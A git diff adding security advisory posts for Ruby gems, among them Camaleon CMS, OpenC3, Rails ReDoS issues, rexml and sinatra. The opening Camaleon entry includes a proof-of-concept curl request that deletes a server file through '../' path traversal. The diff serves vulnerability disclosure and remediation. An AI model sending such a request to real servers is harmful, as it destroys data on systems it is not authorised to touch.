+    The [actions](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L51-L52) defined inside of the MediaController class do not check whether a given path is inside a certain path (e.g. inside the media folder). If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184) they could delete arbitrary files or folders on the server hosting Camaleon CMS. The [crop_url](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L64-L65) action might make arbitrary file writes (similar impact to GHSL-2024-182) for any authenticated user possible, but it doesn't seem to work currently.
+
+    Arbitrary file deletion can be exploited with following code path:
+    The parameter folder flows from the actions method:
+    ```ruby
+      def actions
+        authorize! :manage, :media if params[:media_action] != 'crop_url'
+        params[:folder] = params[:folder].gsub('//', '/') if params[:folder].present?
+        case params[:media_action]
+        [..]
+        when 'del_file'
+          cama_uploader.delete_file(params[:folder].gsub('//', '/'))
+          render plain: ''
+    ```
+    into the method delete_file of the CamaleonCmsLocalUploader
+    class (when files are uploaded locally):
+    ```ruby
+    def delete_file(key)
+      file = File.join(@root_folder, key)
+      FileUtils.rm(file) if File.exist? file
+      @instance.hooks_run('after_delete', key)
+      get_media_collection.find_by_key(key).take.destroy
+    end
+    ```
+    Where it is joined in an unchecked manner with the root folder and
+    then deleted.
+
+    ## Proof of concept
+    The following request would delete the file README.md in the top folder of the Ruby on Rails application. (The values for auth_token, X-CSRF-Token and _cms_session would also need to be replaced with authenticated values in the curl command below)
+    ```
+    curl --path-as-is -i -s -k -X $'POST' \
+        -H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \
+        -b $'auth_token=[..]; _cms_session=[..]' \
+        --data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=..
+    2F..
+    2F..
+    2FREADME.md&media_action=del_file' \
+        $'https://<camaleon-host>/admin/media/actions?actions=true'
+    ```
+
+    ## Impact
+
+    This issue may lead to a defective CMS or system.
+
+    ## Remediation
+
+    Normalize all file paths constructed from untrusted user input before using them and check that the resulting path is inside the
+    targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.
+
+    ## See also:
+
+    [CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/)
+    [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
+  patched_versions:
+  - ">= 2.8.1"
+  related:
+    url:
+    - https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-7x4w-cj9r-h4v9
+    - https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/GHSA-7x4w-cj9r-h4v9.yml
+    - https://github.com/advisories/GHSA-3hp8-6j24-m5gm
+---
diff --git a/advisories/_posts/2024-09-23-GHSA-8fx8-3rg2-79xw.md b/advisories/_posts/2024-09-23-GHSA-8fx8-3rg2-79xw.md
new file mode 100644
index 00000000..40eb138b
--- /dev/null
+++ b/advisories/_posts/2024-09-23-GHSA-8fx8-3rg2-79xw.md
@@ -0,0 +1,60 @@
+---
+layout: advisory
+title: 'GHSA-8fx8-3rg2-79xw (camaleon_cms): Camaleon CMS vulnerable to stored XSS
+  through user file upload (GHSL-2024-184)'
+comments: false
+categories:
+- camaleon_cms
+advisory:
+  gem: camaleon_cms
+  ghsa: 8fx8-3rg2-79xw
+  url: https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-r9cr-qmfw-pmrc
+  title: Camaleon CMS vulnerable to stored XSS through user file upload (GHSL-2024-184)
+  date: 2024-09-23
+  description: |
+    A stored cross-site scripting has been found in the image upload
+    functionality that can be used by normal registered users:
+    It is possible to upload a SVG image containing JavaScript and
+    it's also possible to upload a HTML document when the format
+    parameter is manually changed to [documents][1] or a string of
+    an [unsupported format][2]. If an authenticated user or administrator
+    visits that uploaded image or document malicious JavaScript can
+    be executed on their behalf (e.g. changing or deleting content
+    inside of the CMS.)
+
+    [1]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_uploader.rb#L105-L106
+    [2]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_uploader.rb#L110-L111
+
+    ## Impact
+
+    This issue may lead to account takeover due to reflected
+    Cross-site scripting (XSS).
+
+    ## Remediation
+
+    Only allow the upload of safe files such as PNG, TXT and others
+    or serve all "unsafe" files such as SVG and other files with a
+    content-disposition: attachment header, which should prevent
+    browsers from displaying them.
+
+    Additionally, a [Content security policy (CSP)][3] can be created
+    that disallows inlined script. (Other parts of the application
+    might need modification to continue functioning.)
+
+    [3]: https://web.dev/articles/csp
+
+    To prevent the theft of the auth_token it could be marked with
+    HttpOnly. This would however not prevent that actions could be
+    performed as the authenticated user/administrator. Furthermore,
+    it could make sense to use the authentication provided by
+    Ruby on Rails, so that stolen tokens cannot be used anymore
+    after some time.
+  cvss_v3: 5.4
+  patched_versions:
+  - ">= 2.8.1"
+  related:
+    url:
+    - https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-r9cr-qmfw-pmrc
+    - https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/GHSA-r9cr-qmfw-pmrc.yml
+    - https://github.com/advisories/GHSA-8fx8-3rg2-79xw
+---
diff --git a/advisories/_posts/2024-09-25-CVE-2024-46488.md b/advisories/_posts/2024-09-25-CVE-2024-46488.md
new file mode 100644
index 00000000..b373b0f4
--- /dev/null
+++ b/advisories/_posts/2024-09-25-CVE-2024-46488.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2024-46488 (sqlite-vec): Heap-based Buffer Overflow in sqlite-vec'
+comments: false
+categories:
+- sqlite-vec
+advisory:
+  gem: sqlite-vec
+  cve: 2024-46488
+  ghsa: vrcx-gx3g-j3h8
+  url: https://github.com/advisories/GHSA-vrcx-gx3g-j3h8
+  title: Heap-based Buffer Overflow in sqlite-vec
+  date: 2024-09-25
+  description: |
+    sqlite-vec v0.1.1 was discovered to contain a heap buffer overflow
+    via the npy_token_next function. This vulnerability allows attackers
+    to cause a Denial of Service (DoS) via a crafted file.
+
+    Workaround for CVE in release 0.1.3.
+  cvss_v3: 9.1
+  patched_versions:
+  - ">= 0.1.3"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-46488
+    - https://github.com/asg017/sqlite-vec/releases/tag/v0.1.3
+    - https://github.com/VulnSphere/LLMVulnSphere/blob/main/VectorDB/sqlite-vec/OOBR_2.md
+    - https://github.com/advisories/GHSA-vrcx-gx3g-j3h8
+---
diff --git a/advisories/_posts/2024-09-25-GHSA-75j2-9gmc-m855.md b/advisories/_posts/2024-09-25-GHSA-75j2-9gmc-m855.md
new file mode 100644
index 00000000..fc918d5b
--- /dev/null
+++ b/advisories/_posts/2024-09-25-GHSA-75j2-9gmc-m855.md
@@ -0,0 +1,61 @@
+---
+layout: advisory
+title: 'GHSA-75j2-9gmc-m855 (camaleon_cms): Camaleon CMS vulnerable to stored XSS
+  through user file upload (GHSL-2024-184)'
+comments: false
+categories:
+- camaleon_cms
+advisory:
+  gem: camaleon_cms
+  ghsa: 75j2-9gmc-m855
+  url: https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-r9cr-qmfw-pmrc
+  title: Camaleon CMS vulnerable to stored XSS through user file upload (GHSL-2024-184)
+  date: 2024-09-25
+  description: |
+    A stored cross-site scripting has been found in the image upload
+    functionality that can be used by normal registered users:
+    It is possible to upload a SVG image containing JavaScript and it's
+    also possible to upload a HTML document when the format parameter
+    is manually changed to [documents][1] or a string of an
+    [unsupported format][2]. If an authenticated user or administrator
+    visits that uploaded image or document malicious JavaScript can be
+    executed on their behalf (e.g. changing or deleting content inside
+    of the CMS.)
+
+    [1]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_uploader.rb#L105-L106
+    [2]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_uploader.rb#L110-L111
+
+    ## Impact
+
+    This issue may lead to account takeover due to reflected Cross-site
+    scripting (XSS).
+
+    ## Remediation
+
+    Only allow the upload of safe files such as PNG, TXT and others or
+    serve all "unsafe" files such as SVG and other files with a
+    content-disposition: attachment header, which should prevent browsers
+    from displaying them.
+
+    Additionally, a [Content security policy (CSP)][3] can be created
+    that disallows inlined script. (Other parts of the application might
+    need modification to continue functioning.)
+
+    [3]: https://web.dev/articles/csp
+
+    To prevent the theft of the auth_token it could be marked with
+    HttpOnly. This would however not prevent that actions could be
+    performed as the authenticated user/administrator. Furthermore, it
+    could make sense to use the authentication provided by Ruby on Rails,
+    so that stolen tokens cannot be used anymore after some time.
+  cvss_v3: 5.4
+  unaffected_versions:
+  - "< 2.8.0"
+  patched_versions:
+  - ">= 2.8.2"
+  related:
+    url:
+    - https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-r9cr-qmfw-pmrc
+    - https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/GHSA-8fx8-3rg2-79xw.yml
+    - https://github.com/advisories/GHSA-75j2-9gmc-m855
+---
diff --git a/advisories/_posts/2024-10-01-CVE-2024-41673.md b/advisories/_posts/2024-10-01-CVE-2024-41673.md
new file mode 100644
index 00000000..a16eb5ca
--- /dev/null
+++ b/advisories/_posts/2024-10-01-CVE-2024-41673.md
@@ -0,0 +1,43 @@
+---
+layout: advisory
+title: 'CVE-2024-41673 (decidim): Decidim has a cross-site scripting vulnerability
+  in the version control page'
+comments: false
+categories:
+- decidim
+advisory:
+  gem: decidim
+  cve: 2024-41673
+  ghsa: cc4g-m3g7-xmw8
+  url: https://github.com/decidim/decidim/security/advisories/GHSA-cc4g-m3g7-xmw8
+  title: Decidim has a cross-site scripting vulnerability in the version control page
+  date: 2024-10-01
+  description: |
+    ### Impact
+
+    The version control feature used in resources is subject to potential
+    cross-site scripting (XSS) attack through a malformed URL.
+
+    ### Workarounds
+
+    Not available
+
+    ### References
+
+    OWASP ASVS v4.0.3-5.1.3
+
+    ### Credits
+
+    This issue was discovered in a security audit organized by
+    [Open Source Politics](https://opensourcepolitics.eu/)
+    against Decidim done during July 2025.
+  cvss_v3: 7.1
+  patched_versions:
+  - ">= 0.27.8"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-41673
+    - https://github.com/decidim/decidim/security/advisories/GHSA-cc4g-m3g7-xmw8
+    - https://github.com/decidim/decidim/commit/8a18c8b1ee85a1b35ee0d8d5893f218695d15637
+    - https://github.com/advisories/GHSA-cc4g-m3g7-xmw8
+---
diff --git a/advisories/_posts/2024-10-02-CVE-2024-43795.md b/advisories/_posts/2024-10-02-CVE-2024-43795.md
new file mode 100644
index 00000000..d66b19ea
--- /dev/null
+++ b/advisories/_posts/2024-10-02-CVE-2024-43795.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'CVE-2024-43795 (openc3): OpenC3 Cross-site Scripting in Login functionality
+  (`GHSL-2024-128`)'
+comments: false
+categories:
+- openc3
+advisory:
+  gem: openc3
+  cve: 2024-43795
+  ghsa: vfj8-5pj7-2f9g
+  url: https://github.com/OpenC3/cosmos/security/advisories/GHSA-vfj8-5pj7-2f9g
+  title: OpenC3 Cross-site Scripting in Login functionality (`GHSL-2024-128`)
+  date: 2024-10-02
+  description: |
+    ### Summary
+
+    The login functionality contains a reflected cross-site scripting
+    (XSS) vulnerability.
+
+    Note: This CVE only affects Open Source Edition, and not
+    OpenC3 COSMOS Enterprise Edition
+
+    ### Impact
+    This issue may lead up to Remote Code Execution (RCE).
+
+    **NOTE:** The complete advisory with much more information is added as
+    [comment](https://github.com/OpenC3/cosmos/security/advisories/GHSA-vfj8-5pj7-2f9g#advisory-comment-104904).
+  cvss_v3: 6.1
+  cvss_v4: 5.1
+  patched_versions:
+  - ">= 5.19.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-43795
+    - https://github.com/OpenC3/cosmos/security/advisories/GHSA-vfj8-5pj7-2f9g
+    - https://github.com/OpenC3/cosmos/commit/762d7e0e93bdc2f340b1e42acccedc78994a576e
+    - https://github.com/advisories/GHSA-vfj8-5pj7-2f9g
+---
diff --git a/advisories/_posts/2024-10-02-CVE-2024-46977.md b/advisories/_posts/2024-10-02-CVE-2024-46977.md
new file mode 100644
index 00000000..1e0d0809
--- /dev/null
+++ b/advisories/_posts/2024-10-02-CVE-2024-46977.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2024-46977 (openc3): OpenC3 Path Traversal via screen controller (`GHSL-2024-127`)'
+comments: false
+categories:
+- openc3
+advisory:
+  gem: openc3
+  cve: 2024-46977
+  ghsa: 8jxr-mccc-mwg8
+  url: https://github.com/OpenC3/cosmos/security/advisories/GHSA-8jxr-mccc-mwg8
+  title: OpenC3 Path Traversal via screen controller (`GHSL-2024-127`)
+  date: 2024-10-02
+  description: |
+    ### Summary
+
+    A path traversal vulnerability inside of `LocalMode`'s
+    `open_local_file` method allows an authenticated user with
+    adequate permissions to download any `.txt` via the
+    `ScreensController#show` on the web server COSMOS is running
+    on (depending on the file permissions).
+
+    Note: This CVE affects all OpenC3 COSMOS Editions
+
+    ### Impact
+
+    This issue may lead to Information Disclosure.
+
+    **NOTE:** The complete advisory with much more information is added as
+    [comment](https://github.com/OpenC3/cosmos/security/advisories/GHSA-8jxr-mccc-mwg8#advisory-comment-104903).
+  cvss_v3: 6.5
+  cvss_v4: 5.3
+  patched_versions:
+  - ">= 5.19.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-46977
+    - https://github.com/OpenC3/cosmos/security/advisories/GHSA-8jxr-mccc-mwg8
+    - https://github.com/OpenC3/cosmos/commit/a34e61aea5a465f0ab3e57d833ae7ff4cafd710b
+    - https://github.com/advisories/GHSA-8jxr-mccc-mwg8
+---
diff --git a/advisories/_posts/2024-10-02-CVE-2024-47529.md b/advisories/_posts/2024-10-02-CVE-2024-47529.md
new file mode 100644
index 00000000..19e51634
--- /dev/null
+++ b/advisories/_posts/2024-10-02-CVE-2024-47529.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2024-47529 (openc3): OpenC3 stores passwords in clear text (`GHSL-2024-129`)'
+comments: false
+categories:
+- openc3
+advisory:
+  gem: openc3
+  cve: 2024-47529
+  ghsa: 4xqv-47rm-37mm
+  url: https://github.com/OpenC3/cosmos/security/advisories/GHSA-4xqv-47rm-37mm
+  title: OpenC3 stores passwords in clear text (`GHSL-2024-129`)
+  date: 2024-10-02
+  description: |
+    ### Summary
+
+    OpenC3 COSMOS stores the password of a user unencrypted in the
+    LocalStorage of a web browser. This makes the user password
+    susceptible to exfiltration via Cross-site scripting (see GHSL-2024-128).
+
+    Note: This CVE only affects Open Source edition, and not
+    OpenC3 COSMOS Enterprise Edition
+
+    ### Impact
+
+    This issue may lead to Information Disclosure.
+
+    **NOTE:** The complete advisory with much more information is added as
+    [comment](https://github.com/OpenC3/cosmos/security/advisories/GHSA-4xqv-47rm-37mm#advisory-comment-104905).
+  cvss_v3: 5.9
+  cvss_v4: 4.8
+  patched_versions:
+  - ">= 5.19.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-47529
+    - https://github.com/OpenC3/cosmos/security/advisories/GHSA-4xqv-47rm-37mm
+    - https://github.com/OpenC3/cosmos/commit/b5ab34fe7fa54c0c8171c4aa3caf4e03d6f63bd7
+    - https://github.com/advisories/GHSA-4xqv-47rm-37mm
+---
diff --git a/advisories/_posts/2024-10-15-CVE-2024-41128.md b/advisories/_posts/2024-10-15-CVE-2024-41128.md
new file mode 100644
index 00000000..79c35734
--- /dev/null
+++ b/advisories/_posts/2024-10-15-CVE-2024-41128.md
@@ -0,0 +1,58 @@
+---
+layout: advisory
+title: 'CVE-2024-41128 (actionpack): Possible ReDoS vulnerability in query parameter
+  filtering in Action Dispatch'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2024-41128
+  ghsa: x76w-6vjr-8xgj
+  url: https://github.com/rails/rails/security/advisories/GHSA-x76w-6vjr-8xgj
+  title: Possible ReDoS vulnerability in query parameter filtering in Action Dispatch
+  date: 2024-10-15
+  description: |
+    There is a possible ReDoS vulnerability in the query parameter
+    filtering routines of Action Dispatch. This vulnerability has
+    been assigned the CVE identifier CVE-2024-41128.
+
+    ## Impact
+
+    Carefully crafted query parameters can cause query parameter
+    filtering to take an unexpected amount of time, possibly resulting
+    in a DoS vulnerability. All users running an affected release
+    should either upgrade or apply the relevant patch immediately.
+
+    Ruby 3.2 has mitigations for this problem, so Rails applications
+    using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends
+    on Ruby 3.2 or greater so is unaffected.
+
+    ## Releases
+
+    The fixed releases are available at the normal locations.
+
+    ## Workarounds
+
+    Users on Ruby 3.2 are unaffected by this issue.
+
+    ## Credits
+
+    Thanks to [scyoon](https://hackerone.com/scyoon) for the report and patches!
+  cvss_v4: 6.6
+  unaffected_versions:
+  - "< 3.1.0"
+  patched_versions:
+  - "~> 6.1.7.9"
+  - "~> 7.0.8.5"
+  - "~> 7.1.4, >= 7.1.4.1"
+  - ">= 7.2.1.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-41128
+    - https://github.com/rails/rails/security/advisories/GHSA-x76w-6vjr-8xgj
+    - https://hackerone.com/reports/2872502
+    - https://github.com/advisories/GHSA-x76w-6vjr-8xgj
+---
diff --git a/advisories/_posts/2024-10-15-CVE-2024-47887.md b/advisories/_posts/2024-10-15-CVE-2024-47887.md
new file mode 100644
index 00000000..8dbb6b4e
--- /dev/null
+++ b/advisories/_posts/2024-10-15-CVE-2024-47887.md
@@ -0,0 +1,57 @@
+---
+layout: advisory
+title: 'CVE-2024-47887 (actionpack): Possible ReDoS vulnerability in HTTP Token authentication
+  in Action Controller'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2024-47887
+  ghsa: vfg9-r3fq-jvx4
+  url: https://github.com/rails/rails/security/advisories/GHSA-vfg9-r3fq-jvx4
+  title: Possible ReDoS vulnerability in HTTP Token authentication in Action Controller
+  date: 2024-10-15
+  description: |
+    There is a possible ReDoS vulnerability in Action Controller's
+    HTTP Token authentication. This vulnerability has been assigned
+    the CVE identifier CVE-2024-47887.
+
+    ## Impact
+
+    For applications using HTTP Token authentication via
+    `authenticate_or_request_with_http_token` or similar, a carefully
+    crafted header may cause header parsing to take an unexpected amount
+    of time, possibly resulting in a DoS vulnerability. All users running
+    an affected release should either upgrade or apply the relevant
+    patch immediately.
+
+    Ruby 3.2 has mitigations for this problem, so Rails applications
+    using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends
+    on Ruby 3.2 or greater so is unaffected.
+
+    ## Releases
+
+    The fixed releases are available at the normal locations.
+
+    ## Workarounds
+
+    Users on Ruby 3.2 are unaffected by this issue.
+
+    ## Credits
+
+    Thanks to [scyoon](https://hackerone.com/scyoon) for reporting
+  unaffected_versions:
+  - "< 4.0.0"
+  patched_versions:
+  - "~> 6.1.7.9"
+  - "~> 7.0.8.5"
+  - "~> 7.1.4, >= 7.1.4.1"
+  - ">= 7.2.1.1"
+  related:
+    url:
+    - https://github.com/rails/rails/security/advisories/GHSA-vfg9-r3fq-jvx4
+    - https://github.com/advisories/GHSA-vfg9-r3fq-jvx4
+---
diff --git a/advisories/_posts/2024-10-15-CVE-2024-47888.md b/advisories/_posts/2024-10-15-CVE-2024-47888.md
new file mode 100644
index 00000000..f659ee18
--- /dev/null
+++ b/advisories/_posts/2024-10-15-CVE-2024-47888.md
@@ -0,0 +1,58 @@
+---
+layout: advisory
+title: 'CVE-2024-47888 (actiontext): Possible ReDoS vulnerability in plain_text_for_blockquote_node
+  in Action Text'
+comments: false
+categories:
+- actiontext
+- rails
+advisory:
+  gem: actiontext
+  framework: rails
+  cve: 2024-47888
+  ghsa: wwhv-wxv9-rpgw
+  url: https://github.com/rails/rails/security/advisories/GHSA-wwhv-wxv9-rpgw
+  title: Possible ReDoS vulnerability in plain_text_for_blockquote_node in Action
+    Text
+  date: 2024-10-15
+  description: |
+    There is a possible ReDoS vulnerability in the
+    plain_text_for_blockquote_node helper in Action Text. This
+    vulnerability has been assigned the CVE identifier CVE-2024-47888.
+
+    ## Impact
+
+    Carefully crafted text can cause the plain_text_for_blockquote_node
+    helper to take an unexpected amount of time, possibly resulting
+    in a DoS vulnerability. All users running an affected release should
+    either upgrade or apply the relevant patch immediately.
+
+    Ruby 3.2 has mitigations for this problem, so Rails applications
+    using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends
+    on Ruby 3.2 or greater so is unaffected.
+
+    ## Releases
+
+    The fixed releases are available at the normal locations.
+
+    ## Workarounds
+
+    Users can avoid calling `plain_text_for_blockquote_node` or
+    upgrade to Ruby 3.2.
+
+    ## Credits
+
+    Thanks to [ooooooo_q](https://hackerone.com/ooooooo_q) for the report!
+  unaffected_versions:
+  - "< 6.0.0"
+  patched_versions:
+  - "~> 6.1.7.9"
+  - "~> 7.0.8.5"
+  - "~> 7.1.4, >= 7.1.4.1"
+  - ">= 7.2.1.1"
+  related:
+    url:
+    - https://github.com/rails/rails/security/advisories/GHSA-wwhv-wxv9-rpgw
+    - https://hackerone.com/reports/2792776
+    - https://github.com/advisories/GHSA-wwhv-wxv9-rpgw
+---
diff --git a/advisories/_posts/2024-10-15-CVE-2024-47889.md b/advisories/_posts/2024-10-15-CVE-2024-47889.md
new file mode 100644
index 00000000..d9fcadcd
--- /dev/null
+++ b/advisories/_posts/2024-10-15-CVE-2024-47889.md
@@ -0,0 +1,56 @@
+---
+layout: advisory
+title: 'CVE-2024-47889 (actionmailer): Possible ReDoS vulnerability in block_format
+  in Action Mailer'
+comments: false
+categories:
+- actionmailer
+- rails
+advisory:
+  gem: actionmailer
+  framework: rails
+  cve: 2024-47889
+  ghsa: h47h-mwp9-c6q6
+  url: https://github.com/rails/rails/security/advisories/GHSA-h47h-mwp9-c6q6
+  title: Possible ReDoS vulnerability in block_format in Action Mailer
+  date: 2024-10-15
+  description: |
+    There is a possible ReDoS vulnerability in the block_format helper
+    in Action Mailer. This vulnerability has been assigned the
+    CVE identifier CVE-2024-47889.
+
+    ## Impact
+
+    Carefully crafted text can cause the block_format helper to take an
+    unexpected amount of time, possibly resulting in a DoS vulnerability.
+    All users running an affected release should either upgrade or apply
+    the relevant patch immediately.
+
+    Ruby 3.2 has mitigations for this problem, so Rails applications
+    using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 requires
+    Ruby 3.2 or greater so is unaffected.
+
+    ## Releases
+
+    The fixed releases are available at the normal locations.
+
+    ## Workarounds
+
+    Users can avoid calling the `block_format` helper or upgrade
+    to Ruby 3.2.
+
+    ##Credits
+
+    Thanks to [ooooooo_q](https://hackerone.com/ooooooo_q) for the report!
+  unaffected_versions:
+  - "< 3.0.0"
+  patched_versions:
+  - "~> 6.1.7.9"
+  - "~> 7.0.8.5"
+  - "~> 7.1.4, >= 7.1.4.1"
+  - ">= 7.2.1.1"
+  related:
+    url:
+    - https://github.com/rails/rails/security/advisories/GHSA-h47h-mwp9-c6q6
+    - https://github.com/advisories/GHSA-h47h-mwp9-c6q6
+---
diff --git a/advisories/_posts/2024-10-23-CVE-2024-48652.md b/advisories/_posts/2024-10-23-CVE-2024-48652.md
new file mode 100644
index 00000000..885fb8d8
--- /dev/null
+++ b/advisories/_posts/2024-10-23-CVE-2024-48652.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2024-48652 (camaleon_cms): camaleon_cms affected by cross site scripting'
+comments: false
+categories:
+- camaleon_cms
+advisory:
+  gem: camaleon_cms
+  cve: 2024-48652
+  ghsa: hhxg-rvc9-8726
+  url: https://github.com/paragbagul111/CVE-2024-48652
+  title: camaleon_cms affected by cross site scripting
+  date: 2024-10-23
+  description: |
+    Cross Site Scripting vulnerability in camaleon-cms v.2.7.5 allows
+    remote attacker to execute arbitrary code via the content group
+    name field.
+  cvss_v3: 4.8
+  notes: |
+    Never patched
+
+    Unclear if versions 2.8.0 to 2.8.3 patch this vulnerability.
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-48652
+    - https://github.com/paragbagul111/CVE-2024-48652
+    - https://github.com/advisories/GHSA-hhxg-rvc9-8726
+---
diff --git a/advisories/_posts/2024-10-28-CVE-2024-49761.md b/advisories/_posts/2024-10-28-CVE-2024-49761.md
new file mode 100644
index 00000000..7eaa065c
--- /dev/null
+++ b/advisories/_posts/2024-10-28-CVE-2024-49761.md
@@ -0,0 +1,49 @@
+---
+layout: advisory
+title: 'CVE-2024-49761 (rexml): REXML ReDoS vulnerability'
+comments: false
+categories:
+- rexml
+advisory:
+  gem: rexml
+  cve: 2024-49761
+  ghsa: 2rxp-v6pw-ch6m
+  url: https://github.com/ruby/rexml/security/advisories/GHSA-2rxp-v6pw-ch6m
+  title: REXML ReDoS vulnerability
+  date: 2024-10-28
+  description: |
+    ## Impact
+
+    The REXML gem before 3.3.9 has a ReDoS vulnerability when it
+    parses an XML that has many digits between `&#` and `x...;`
+    in a hex numeric character reference (`&#x...;`).
+
+    This does not happen with Ruby 3.2 or later. Ruby 3.1 is the only
+    affected maintained Ruby. Note that Ruby 3.1 will reach EOL on 2025-03.
+
+    ## Patches
+
+    The REXML gem 3.3.9 or later include the patch to fix the vulnerability.
+
+    ## Workarounds
+
+    Use Ruby 3.2 or later instead of Ruby 3.1.
+
+    ## References
+
+    * https://www.ruby-lang.org/en/news/2024/10/28/redos-rexml-cve-2024-49761
+      * Announced on www.ruby-lang.org.
+  cvss_v3: 7.5
+  cvss_v4: 6.6
+  patched_versions:
+  - ">= 3.3.9"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-49761
+    - https://github.com/ruby/rexml/releases/tag/v3.3.9
+    - https://github.com/ruby/rexml/security/advisories/GHSA-2rxp-v6pw-ch6m
+    - https://github.com/ruby/rexml/commit/ce59f2eb1aeb371fe1643414f06618dbe031979f
+    - https://www.ruby-lang.org/en/news/2024/10/28/redos-rexml-cve-2024-49761
+    - https://hackerone.com/reports/2807139
+    - https://github.com/advisories/GHSA-2rxp-v6pw-ch6m
+---
diff --git a/advisories/_posts/2024-10-28-CVE-2024-49771.md b/advisories/_posts/2024-10-28-CVE-2024-49771.md
new file mode 100644
index 00000000..da1e4bd8
--- /dev/null
+++ b/advisories/_posts/2024-10-28-CVE-2024-49771.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'CVE-2024-49771 (mpxj): MPXJ has a Potential Path Traversal Vulnerability'
+comments: false
+categories:
+- mpxj
+advisory:
+  gem: mpxj
+  cve: 2024-49771
+  ghsa: j945-c44v-97g6
+  url: https://github.com/joniles/mpxj/security/advisories/GHSA-j945-c44v-97g6
+  title: MPXJ has a Potential Path Traversal Vulnerability
+  date: 2024-10-28
+  description: |
+    ### Impact
+
+    The patch for the historical vulnerability CVE-2020-35460 in MPXJ
+    is incomplete as there is still a possibility that a malicious path
+    could be constructed which would not be picked up by the original
+    fix and allow files to be written to arbitrary locations.
+
+    ### Patches
+
+    The issue is addressed in MPXJ version 13.5.1
+
+    ### Workarounds
+
+    Do not pass zip files to MPXJ.
+
+    ### References
+    N/A
+  cvss_v3: 5.3
+  unaffected_versions:
+  - "< 8.3.5"
+  patched_versions:
+  - ">= 13.5.1"
+  related:
+    url:
+    - https://github.com/joniles/mpxj/security/advisories/GHSA-j945-c44v-97g6
+    - https://github.com/joniles/mpxj/commit/8002802890dfdc8bc74259f37e053e15b827eea0
+    - https://github.com/advisories/GHSA-j945-c44v-97g6
+---
diff --git a/advisories/_posts/2024-11-01-CVE-2024-21510.md b/advisories/_posts/2024-11-01-CVE-2024-21510.md
new file mode 100644
index 00000000..9a4d8901
--- /dev/null
+++ b/advisories/_posts/2024-11-01-CVE-2024-21510.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2024-21510 (sinatra): Sinatra vulnerable to Reliance on Untrusted Inputs
+  in a Security Decision'
+comments: false
+categories:
+- sinatra
+advisory:
+  gem: sinatra
+  cve: 2024-21510
+  ghsa: hxx2-7vcw-mqr3
+  url: https://github.com/advisories/GHSA-hxx2-7vcw-mqr3
+  title: Sinatra vulnerable to Reliance on Untrusted Inputs in a Security Decision
+  date: 2024-11-01
+  description: |
+    Versions of the package sinatra from 0.0.0 are vulnerable to
+    Reliance on Untrusted Inputs in a Security Decision via the
+    X-Forwarded-Host (XFH) header.
+
+    When making a request to a method with redirect applied, it is
+    possible to trigger an Open Redirect Attack by inserting an
+    arbitrary address into this header. If used for caching purposes,
+    such as with servers like Nginx, or as a reverse proxy, without
+    handling the X-Forwarded-Host header, attackers can potentially
+    exploit Cache Poisoning or Routing-based SSRF.
+  cvss_v3: 5.4
+  patched_versions:
+  - ">= 4.1.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-21510
+    - https://security.snyk.io/vuln/SNYK-RUBY-SINATRA-6483832
+    - https://github.com/advisories/GHSA-hxx2-7vcw-mqr3
+    - https://github.com/sinatra/sinatra/blob/b626e2d82c23b4fde0b51782fd32ca27ccde1d1a/lib/sinatra/base.rb#L319
